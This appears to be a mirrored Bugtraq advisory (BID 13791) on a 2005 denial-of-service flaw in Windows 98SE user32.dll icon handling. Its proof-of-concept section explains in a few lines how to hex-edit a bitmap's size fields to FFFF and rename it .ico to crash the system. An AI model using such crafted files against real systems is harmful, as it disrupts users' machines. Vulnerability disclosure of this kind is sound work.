Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability

BID:13791

Info

Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability

Bugtraq ID: 13791
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: May 27 2005 12:00AM
Updated: May 27 2005 12:00AM
Credit: Discovery of this issue is credited to "- k -" <[email protected]>.
Vulnerable: Microsoft Windows 98SE
Not Vulnerable:

Discussion

Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability

The Microsoft 'user32.dll' library is prone to a denial of service vulnerability. The issue manifests when the library handles icon (.ico) files containing large size values.

Reports indicate that this issue exists for user32.dll versions that reside on Microsoft Windows 98SE platforms. Other versions might also be affected.

Exploit / POC

Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability

No exploit is required. The following example is available:

Just open a bitmap in a hex editor and modify the width and height data:

Locate the "XXXX" values...

----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 XXXX
00000010 : 0000 XXXX 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------

...and change to:

----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 FFFF
00000010 : 0000 FFFF 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------

Then change the extention to ".ico". Notice that the system will crash.

Solution / Fix

Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report